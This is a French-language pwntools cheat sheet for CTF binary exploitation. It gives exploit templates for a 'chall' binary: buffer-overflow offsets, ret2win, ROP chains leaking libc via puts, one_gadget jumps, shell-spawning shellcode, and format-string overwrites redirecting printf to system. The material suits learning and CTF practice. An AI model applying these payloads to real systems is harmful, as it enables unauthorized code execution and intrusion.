# Template
python
copier
from pwn import *
context.binary = elf = ELF('./chall' )
context.log_level = 'debug'
def start ():
if args.REMOTE:
return remote('target.test' , 1337 )
return process(elf.path)
io = start()
io.recvuntil(b'> ' )
io.sendline(b'1' )
io.interactive()
bash
copier
python3 exploit.py
python3 exploit.py REMOTE
python3 exploit.py GDB
# Entrées / sorties
python
copier
io.recv(1024 )
io.recvuntil(b'password: ' )
io.recvline()
io.sendafter(b'> ' , b'admin' )
io.sendlineafter(b'> ' , b'admin' )
io.send(b'raw' )
io.sendline(b'line' )
io.interactive()
io.close()
# Offsets et cycles
python
copier
payload = cyclic(200 )
io.sendline(payload)
offset = cyclic_find(0x6161616c )
print (offset)
python
copier
payload = b'A' * offset
payload += p64(elf.symbols['win' ])
io.sendline(payload)
# ELF, GOT et ROP
python
copier
elf = ELF('./chall' )
libc = ELF('./libc.so.6' )
print (hex (elf.symbols['main' ]))
print (hex (elf.got['puts' ]))
print (hex (elf.plt['puts' ]))
rop = ROP(elf)
rop.puts(elf.got['puts' ])
rop.main()
io.sendline(flat({offset: rop.chain()}))
leak = u64(io.recvline().strip().ljust(8 , b'\x00' ))
libc.address = leak - libc.symbols['puts' ]
python
copier
from pwn import *
libc = ELF('./libc.so.6' )
one = 0xE3B31
payload = flat({offset: libc.address + one})
# Shellcraft
python
copier
shellcode = asm(shellcraft.sh())
payload = shellcode
payload = shellcode.ljust(offset, b'\x90' ) + p64(buffer_addr)
python
copier
context.arch = 'amd64'
context.os = 'linux'
print (disasm(asm('mov rax, 60; xor rdi, rdi; syscall' )))
python
copier
offset = 6
payload = fmtstr_payload(offset, {elf.got['printf' ]: elf.symbols['system' ]})
io.sendline(payload)
# Debug
python
copier
io = process(elf.path)
gdb.attach(io, gdbscript='b *main+42\nc' )
python
copier
context.delete_corefiles = True
ASTUCE
checksec d'abord, puis ROPgadget --binary ./chall | grep "pop rdi". Avec pwntools, ROP(elf) trouve les gadgets et construit la chaîne : moins d'erreurs d'alignement.
ATTENTION
Un exploit qui marche en local peut échouer à distance à cause de la version de libc, de l'ASLR ou du réseau. Utilise libc-database ou pwninit pour identifier la bonne libc, et teste toujours avec un offset de réception fiable.